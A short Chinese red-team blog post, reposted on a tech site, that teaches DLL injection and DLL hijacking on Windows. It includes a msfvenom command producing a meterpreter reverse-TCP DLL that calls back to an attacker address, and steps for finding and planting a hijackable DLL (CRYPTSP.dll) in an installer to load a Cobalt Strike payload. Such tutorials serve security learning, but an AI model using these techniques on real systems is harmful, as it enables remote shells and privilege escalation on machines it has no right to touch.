暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

DLL注入&DLL劫持[基础]

RedTeaming 2019-12-30
1027

DLL注入&DLL劫持[基础]

DLL注入

DLL注入是在某个进程的地址空间的上下文中运行任意代码,如果进程是高权限,攻击者可以利用这个特性提权.

通常需要以下几个步骤:

  • DLL需要放置在目标环境中

  • CreateRemoteThread调用LoadLibrary

  • 反射型加载器尝试寻找进程的PEB,通过 kernel32dll
    和其他的库来定位地址

  • 会用到一些api,LoadLibraryA, GetProcAddress, and VirtualAlloc

  • dll载入内存

常用方法

生成DLL

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.123.22 LPORT=5566 -f dll > tmp.dll

监听

使用RemoteDLLInjector工具注入

msf生成的dll没执行,cs的可以

除了这个还有PowerSploit的Invoke-DLLInjection 模块等 自行谷歌 dll注入的方式有很多,反射型就是dll文件不落地

DLL劫持

寻找进程中的dll,依然是加载自己的dll,劫持原有的dll 加载顺序

  • 当前应用程序的目录

  • C:\Windows\System32

  • C:\Windows\System

  • C:\Windows

  • 当前工作目录

  • 系统PATH环境变量中的目录

  • 用户PATH环境变量中的目录

process monitor
查找缺失的dll

自动化查找 用的三好师傅博客的demo,也是歪果仁的.

  1. https://github.com/sensepost/rattler

  2. https://sensepost.com/blog/2016/rattleridentifying-and-exploiting-dll-preloading-vulnerabilities/

  3. NDP461-KB3102438-Web.exe的下载地址:

  4. http://www.microsoft.com/zh-cn/download/details.aspx?id=49981&134b2bb0-86c1-fe9f-d523-281faef41695=1&fa43d42b-25b5-4a42-fe9b-1634f450f5ee=True

得到可以利用的dll文件

这个自动化工具没找出来,手工看了一下.

然后用cs生成 32bit
的dll命名为 CRYPTSP.dll
启动安装程序,发现dll已经被成功加载.

细枝末节很多文章说的很清楚了. 链接: https://payloads.online/archivers/2018-06-09/1DLL劫持漏洞自动化识别工具Rattler测试https://github.com/sensepost/rattler


文章转载自RedTeaming,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论